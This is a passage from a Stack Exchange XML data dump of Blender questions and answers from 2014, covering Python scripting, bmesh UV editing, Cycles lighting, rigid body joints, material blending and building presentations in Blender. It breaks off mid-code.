5&#xA;&#xA;myMovieStrip = myScene.sequence_editor.sequences.new_movie(name = 'firstClip', filepath = '/tmp/test.mp4', channel = 2, frame_start = 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-16T06:21:49.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9434" PostTypeId="2" ParentId="9420" CreationDate="2014-05-16T06:25:59.867" Score="4" Body="&lt;p&gt;Don't run the script directly, instead, you can import the textblock as a python module, and execute a function it defines.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import myscript&#xA;myscript.main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are some caveats:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The script name must be unique to avoid colliding with existing Python modules.&lt;/li&gt;&#xA;&lt;li&gt;You will have to define some function in the module to run.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But the advantages are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Faster (no need to re-parse the script every time), (the compiled bytecode is kept between executions).&lt;/li&gt;&#xA;&lt;li&gt;More flexible since you can pass in arguments if you like, and have multiple functions too.&lt;/li&gt;&#xA;&lt;li&gt;The ability for variables to persist between executions (the module could contain a counter for example that increments each time. or values could be cached to avoid re-evaluation each execution).&lt;br&gt;&lt;em&gt;This is also something to watch out for, in case you accidentally re-use global lists, dicts etc...&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;More useful exception messages (&lt;code&gt;__file__&lt;/code&gt;, &lt;code&gt;__module__&lt;/code&gt; for example will be defined)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-11-25T22:05:44.187" LastActivityDate="2015-11-25T22:05:44.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10434" PostTypeId="1" AcceptedAnswerId="10459" CreationDate="2014-05-16T12:56:56.627" Score="8" ViewCount="2904" Body="&lt;p&gt;I remember when I was recreating my bathroom and I modeled the lamp and gave it a glass material, but when I came to the lighting it got confusing. I modeled a sphere in the lamp because in real life the lighting comes from the lamp obviously. And then when I render the scene, no matter how strong the sphere light is I always get a pretty low light. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is Cycles a realistic or close to realistic render engine? Or what lamps should I use? Do I have to fake the light? How can I replicate the lighting as in real life?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I'm not sure if the spherical emitter will light up the room better if it is not inside a glass material&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-06-20T20:31:47.433" LastActivityDate="2014-06-20T20:31:47.433" Title="Spherical emitter does not illuminate very well?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10435" PostTypeId="2" ParentId="9399" CreationDate="2014-05-16T13:59:06.850" Score="1" Body="&lt;p&gt;The only way I found for editing the UV-Coordinates of a mesh is via the BMesh module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This module can be imported in the script via &lt;code&gt;import bmesh&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume the code I wrote in the question I will give my solution for the missing part which edits the uv-coords.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.mode_set(mode='EDIT')&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;uv_layer = bm.loops.layers.uv.verify()&#xA;bm.faces.layers.tex.verify()&#xA;&#xA;for f in bm.faces:&#xA;    for l in f.loops:&#xA;        luv = l[uv_layer]&#xA;        luv.uv = tuple(uvs[l.vert.index])&#xA;&#xA;bmesh.update_edit_mesh(me)&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I only tested to set all the uvs to (0,0) since I have another problem with the uv coordinates. But it worked and my mesh was successfully painted red.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greetings, Dragonseel&lt;/p&gt;&#xA;" OwnerUserId="3394" LastActivityDate="2014-05-16T13:59:06.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10436" PostTypeId="1" CreationDate="2014-05-16T14:05:06.590" Score="0" ViewCount="44" Body="&lt;p&gt;I am programming a Python script, which takes a mesh from a external tool and adds it to the blender scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I transmit a texture and the mesh, and it actually works. But I have trouble with the UV coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The external tool handles the uv-coordinates per halfedge. This results in multiple uv coordinates for a vertex but all referencing the same texture. This is used for hard seams in the texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need to reproduce this using Blender. How do I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the bmesh module I can iterate over the loops of the mesh, but I don't know how to utilize this for my purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a halfedge support in Blender? Or can I set multiple UV-coords per vertex for one texture on a mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greetings, Dragonseel&lt;/p&gt;&#xA;" OwnerUserId="3394" LastActivityDate="2014-05-16T14:05:06.590" Title="Halfedge UV-coordinates" Tags="&lt;python&gt;&lt;uv&gt;&lt;bmesh&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-05-16T14:41:07.420" ContentLicense="CC BY-SA 3.0" />
  <row Id="10437" PostTypeId="1" AcceptedAnswerId="10441" CreationDate="2014-05-16T15:45:52.800" Score="7" ViewCount="1840" Body="&lt;p&gt;I made a physics simulation in the Blender Game engine. Is there a way to somehow render it as an animation as I normally would with keyframes in Blender internal engine? Or is there a way to convert the positions and rotations of the objects to keyframes?&lt;/p&gt;&#xA;" OwnerUserId="3421" LastActivityDate="2014-05-16T18:04:17.270" Title="Rendering from Blender Game" Tags="&lt;game-engine&gt;&lt;physics&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10438" PostTypeId="1" AcceptedAnswerId="10507" CreationDate="2014-05-16T15:46:38.183" Score="3" ViewCount="1440" Body="&lt;p&gt;I have two meshes and I need they remain together while they move but being different meshes, so Ctrl+J is not the solution. I've tried to put a rigid body joint but when I activate it the two pieces get apart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the two pieces remain in this position&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Eule.png&quot; alt=&quot;I need the two pieces remain in this position&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I press the up key this is what happen&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VsTjt.png&quot; alt=&quot;When I press the up key this is what happen&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the file: &lt;a href=&quot;http://www.pasteall.org/blend/29210&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/29210&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2821" LastActivityDate="2014-05-19T14:01:19.530" Title="Problem with rigid body joint" Tags="&lt;game-engine&gt;&lt;constraints&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10439" PostTypeId="2" ParentId="10438" CreationDate="2014-05-16T16:22:26.767" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Relationship/Rigid_Body_Joint&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rigid body joints constraints&lt;/a&gt; intented use is for situations like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5KCX8.gif&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;sup&gt;Animation created from the blend file linked in the docs&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the collision bounds are set to box and the joint itself doesn't have a collision bound.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comparing your file you have collision bound set to capsule which should be mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KvVX1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting it to triangle mesh would at least avoid that it is blown away when you switch on the physics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iWR3A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you only want to parent both objects you wouldn't need the constraints: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First select the child object then the parent &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;P&lt;/kbd&gt; will open this popup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kPFY0.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To have the influence of parenting animated you could consider to use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Relationship/Child_Of&quot; rel=&quot;nofollow noreferrer&quot;&gt;ChildOf constrained&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I91K8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-05-17T10:49:15.507" LastActivityDate="2014-05-17T10:49:15.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10441" PostTypeId="2" ParentId="10437" CreationDate="2014-05-16T18:04:17.270" Score="6" Body="&lt;p&gt;In the &lt;strong&gt;Info Area&lt;/strong&gt; select &lt;strong&gt;Game&lt;/strong&gt; - &lt;strong&gt;Record Animation&lt;/strong&gt;. Then start the game engine. This will keyframe all rigid bodies and you can render the scene in BI or cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RfiGX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastActivityDate="2014-05-16T18:04:17.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10442" PostTypeId="2" ParentId="10438" CreationDate="2014-05-16T18:09:30.473" Score="1" Body="&lt;p&gt;Have you tried establishing a child parent relationship between the two (cf &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Groups_and_Parenting&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Groups_and_Parenting&lt;/a&gt;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ns&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-05-16T18:09:30.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10444" PostTypeId="2" ParentId="9399" CreationDate="2014-05-16T18:29:51.497" Score="3" Body="&lt;p&gt;As Dragonseel mentioned: the bmesh is important.  &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/barber-pole.html&quot; rel=&quot;nofollow&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/barber-pole.html&lt;/a&gt; contains a spiralUVs function which assigns UV coordinates to the faces of a cylinder.  It demonstrates the mesh.uv_textures.new(name) function for creating a new UV layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the function from that page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def spiralUVs(mesh, xPlus):&#xA;    # add a UV layer called &quot;spiral&quot; and make it slanted.&#xA;    mesh.uv_textures.new(&quot;spiral&quot;)&#xA;    bm = bmesh.new()&#xA;    bm.from_mesh(mesh)&#xA;&#xA;    uv_layer = bm.loops.layers.uv[0]&#xA;&#xA;    nFaces = len(bm.faces)&#xA;    for fi in range(nFaces):&#xA;        x0 = fi*2/nFaces&#xA;        x1 = (fi+1)*2/nFaces&#xA;        bm.faces[fi].loops[0][uv_layer].uv = (x0, 0)&#xA;        bm.faces[fi].loops[1][uv_layer].uv = (x1, 0)&#xA;        bm.faces[fi].loops[2][uv_layer].uv = (xPlus+x1, 1)&#xA;        bm.faces[fi].loops[3][uv_layer].uv = (xPlus+x0, 1)&#xA;    bm.to_mesh(mesh)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-05-16T18:29:51.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10446" PostTypeId="1" AcceptedAnswerId="10456" CreationDate="2014-05-16T19:45:43.470" Score="8" ViewCount="6392" Body="&lt;p&gt;I've made a 3D reconstruction of a church where I've worked and I would like to use this to illustrate my work (technical analysis on mural painting). I've some data to show regarding the building and some additional photos . So I would like to create a presentation with blender adding text and other things directly into the 3D model, and navigate through it to show the data and my considerations. I would like to make something like &lt;a href=&quot;https://www.youtube.com/watch?v=M0k3giXi8eM&quot; rel=&quot;noreferrer&quot;&gt;Prezi&lt;/a&gt; with Blender. How can I do that? I've seen one tutorial but I would like to know, which is the best way to organize the data? How can I make a presentation with different &quot;slides&quot; so that I can go to the next or the previous?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I don't want a step by step tutorial, I want a general procedure to know how to organize the project to make this kind of use of Blender.&lt;/p&gt;&#xA;" OwnerUserId="1362" LastEditorUserId="55" LastEditDate="2018-01-01T10:03:58.970" LastActivityDate="2018-01-01T10:03:58.970" Title="How to create a 3D presentations using Blender?" Tags="&lt;uv&gt;&lt;text-object&gt;" AnswerCount="2" CommentCount="9" FavoriteCount="5" ClosedDate="2014-05-17T18:27:08.690" ContentLicense="CC BY-SA 3.0" />
  <row Id="10447" PostTypeId="2" ParentId="2342" CreationDate="2014-05-16T20:17:57.830" Score="5" Body="&lt;h1&gt;Keeping all the layers&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The best procedure is that shown by Sixthlaw &lt;a href=&quot;https://www.youtube.com/watch?v=dtNJmbg4WK0&quot; rel=&quot;nofollow noreferrer&quot;&gt;in this video&lt;/a&gt;. Because if you export it directly as &lt;code&gt;.dae&lt;/code&gt; you loose all the informations regarding the layers and you will have many surprises. So is better to follow this procedure:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Export your model to &lt;code&gt;.dxf&lt;/code&gt; from SketchUp&lt;/li&gt;&#xA;&lt;li&gt;Download and install &lt;a href=&quot;https://www.autodesk.com/developer-network/platform-technologies/fbx-converter-archives&quot; rel=&quot;nofollow noreferrer&quot;&gt;Autdodesk-FBX-Converter&lt;/a&gt; to&lt;/li&gt;&#xA;&lt;li&gt;convert the &lt;code&gt;.dfx&lt;/code&gt; to &lt;code&gt;.fbx&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;convert the &lt;code&gt;.fbx&lt;/code&gt; to &lt;code&gt;.obj&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now you can import it in Blender. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;go to &lt;code&gt;import&lt;/code&gt; -&gt;&lt;code&gt;Wavefront(.obj)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;set &lt;code&gt;Forward:&lt;/code&gt; to &lt;code&gt;Y Forward&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;import the model&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1362" LastEditorUserId="1362" LastEditDate="2018-06-19T12:03:49.060" LastActivityDate="2018-06-19T12:03:49.060" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="10448" PostTypeId="1" CreationDate="2014-05-16T20:45:38.567" Score="0" ViewCount="1000" Body="&lt;p&gt;I have my blend file &lt;a href=&quot;http://www.pasteall.org/blend/29215&quot; rel=&quot;nofollow&quot;&gt;at pasteall&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I try to render the scene with no render layers selected, it says &lt;code&gt;All render layers are disabled&lt;/code&gt; and then does nothing.  This is as it should be.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, whenever I try to render the scene with any render layers enabled it seems to &lt;strong&gt;utterly ignore&lt;/strong&gt; the render layers and render whatever is visible in 3D view instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Better yet, the point light I've put in does . . . nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm actually working on a real piece, and I did this experiment in parallel with it (I want to do some symbolic artwork about the internet/information exchange using Blender.), and I'm afraid of something like this happening to actual work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much to anyone who can illuminate this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: I have this idea working in several other blend scenes, it's just this one with which I've made a problem for myself.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="1253" LastEditDate="2014-05-16T21:14:27.327" LastActivityDate="2014-05-16T21:14:27.327" Title="Why does &quot;render layers&quot; selection not influence the rendered scene in this blend file?" Tags="&lt;rendering&gt;&lt;light&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10449" PostTypeId="2" ParentId="10448" CreationDate="2014-05-16T21:08:04.720" Score="1" Body="&lt;p&gt;The reason that your point lamp has no effect is that the plane below it is 100% glossy. Lamps will not appear in reflections if they do not have &lt;a href=&quot;https://blender.stackexchange.com/q/5309/599&quot;&gt;multiple importance sampling&lt;/a&gt; enabled. Also see &lt;a href=&quot;https://blender.stackexchange.com/q/3594/599&quot;&gt;How do you make a lamp light up glossy surfaces?&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other objects have emission materials, which will appear shadeless (will not be affected by light sources).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-05-16T21:08:04.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10451" PostTypeId="2" ParentId="10446" CreationDate="2014-05-16T22:13:20.160" Score="2" Body="&lt;p&gt;Create your models. &#xA;Make sure, everything is scaled properly.&#xA;Light up your scene, composite it. &#xA;Add Cameras for various views. Animate them (use key frameing on Cameras). &#xA;Render out your scenes. &#xA;Then in VSE add up your images, give them effects, transitions, add text , pause, rotate, move , add sound and your have a nice package to show off as presentation (non-interactive).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a lot of animation stuff in blender, you just need time and skills.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search youtube for VSE tutorials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, given link is mostly 2d stuff, you need to use a 2d program to create the visuals, after that you can import them in blender (2d plane-Image plane) and animate. &lt;/p&gt;&#xA;" OwnerUserId="738" LastActivityDate="2014-05-16T22:13:20.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10452" PostTypeId="2" ParentId="7903" CreationDate="2014-05-16T22:34:30.790" Score="3" Body="&lt;p&gt;I've written a Blender/Bullet simulation of a &lt;a href=&quot;http://en.wikipedia.org/wiki/Newton%27s_cradle&quot; rel=&quot;nofollow noreferrer&quot;&gt;Newton's Cradle&lt;/a&gt; that doesn't conserve energy.  Here's two animations that illustrate the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bmpsc.gif&quot; alt=&quot;Newton&amp;#39;s Cradle animation&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/jCEM3.gif&quot; alt=&quot;Newton&amp;#39;s Cradle animation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's all done with rigid bodies, and the wooden top piece doesn't participate in the physics.  The initial angle of the first ball is an adjustable parameter - 90 degrees in the first animation, 60 degrees in the second.  You can reproduce everything by running &lt;a href=&quot;http://www.freesoft.org/software/blender/cradle-16may2014.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;this script&lt;/a&gt; in Bullet 2.69.  Make sure the Tool Shelf is open to get to the simulation controls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that it's all the same problem.&lt;/p&gt;&#xA;" OwnerUserId="3357" LastActivityDate="2014-05-16T22:34:30.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10453" PostTypeId="1" AcceptedAnswerId="10455" CreationDate="2014-05-16T23:18:33.577" Score="10" ViewCount="4676" Body="&lt;p&gt;I have created this with cycles:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S9uQy.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;But the edge between the glowing and non glowing materials is very sharp. The material was manually applied to faces in edit mode. Is there any way I can smooth the edge between them in cycles?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2020-06-02T18:53:33.313" Title="How can you smooth the edge between two materials?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10454" PostTypeId="2" ParentId="9432" CreationDate="2014-05-17T00:27:32.763" Score="3" Body="&lt;p&gt;I've found out why it was blurred. As @cegaton suggested - It was a defocus node that was added . . .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can be found in node editor (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F3&lt;/kbd&gt;) as said in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Filter#Defocus&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3509" LastEditorUserId="599" LastEditDate="2014-05-17T00:33:18.683" LastActivityDate="2014-05-17T00:33:18.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10455" PostTypeId="2" ParentId="10453" CreationDate="2014-05-17T00:27:35.677" Score="13" Body="&lt;p&gt;You can't really smooth the transition between two materials; materials are exclusively applied to faces and always delimited discrete peaces of geometry. Here are some alternative workflows:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Smoothing the transition between materials:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can use a texture to mix the &quot;materials&quot;, but everything is actually in one material instead, and different parts actually just use different shaders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a wave texture as the mix factor of a mix node mixing the two node setups used to make the bright strips and the dark surface of the ball (everything is inside one one material datablock).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ccjb1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ccjb1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using the &lt;em&gt;Color Ramp node&lt;/em&gt; to adjust the falloff of the wave texture, you can control the sharpness of the transition.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also see&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/5069/599&quot;&gt;I&amp;#39;d like to have portions of a texture not glossy&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Other techniques:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Some other things which may make the transition a little more natural:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Using separate materials based on mesh topology (like in your question), extrude the faces with the emission material in a bit:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude (&lt;kbd&gt;E&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Cancel the grab part of the extrusion (&lt;kbd&gt;Esc&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale along the normals (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This may give a more natural looking separation between the two:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ujbyo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the &lt;em&gt;Material Index Pass&lt;/em&gt; to create a bit of glare in the compositor:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the pass in &lt;em&gt;Renderlayers &gt; Passes&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Pass Index&lt;/em&gt; of the emission material to a number that no other material has as its pass index (though we can use one index for all the different colors of the emission material).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set up the composite nodes (click for bigger image):&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/h54qO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h54qO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure to set the &lt;em&gt;ID Mask&lt;/em&gt; node to the same index as the material index defined before.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="19307" LastEditDate="2020-06-02T18:53:33.313" LastActivityDate="2020-06-02T18:53:33.313" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="10456" PostTypeId="2" ParentId="10446" CreationDate="2014-05-17T03:30:40.613" Score="13" Body="&lt;p&gt;I've seen this done before &lt;em&gt;(yes, Blender as a power-point replacement)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Using Camera Switching&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Blender can use timeline markers to switch cameras.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means you can jump between markers to switch slides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have 3d text in each view, and animate the visibility if you rather they don't display in every slide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also has the advantage that you can press &lt;strong&gt;Play&lt;/strong&gt; and watch the full presentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://blender.stackexchange.com/questions/139/how-do-i-cycle-through-the-camera-views&quot;&gt;How do I cycle through the camera views?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Using Scenes &amp;amp; Screens&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can configure each screen in blender to be a slide in a presentation.&lt;br&gt;&#xA;Then use &lt;code&gt;Ctrl + Left/Right&lt;/code&gt; to switch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each screen can point to a different scene (or the same scene with different cameras in each viewport).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also make use of background sets (the ability for many scenes to share one common scene as a background). - see scene buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using background sets means you can have a common scene for the detail, and other scenes can overlay text or any elements you don't want to enable all the time.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Using Scenes &amp;amp; Outliner&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This just means adding one scene per slide, and using the outliner to change between them, The small disadvantage here is you need to have the outliner open, so you can't switch slides fullscreen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this method you can still use background set-scenes, and its rather quick to setup. If you wanted to you could always add a key binding or addon to switch scenes without using the outliner.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;em&gt;Hints&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enable 3D View -&gt; Display (Panel) -&gt; Only Render&lt;br&gt;&lt;em&gt;This stops cursor, manipulator and other info widgets from drawing, so you can focus on the content&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;You may find &lt;strong&gt;3D View Full&lt;/strong&gt; screen useful to play the presentation,&lt;br&gt;its setup to minimize distractions.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you want to get rid of the header too - this can be toggled with Alt+F10.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;This Python command will cycle to the next scene:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bpy import 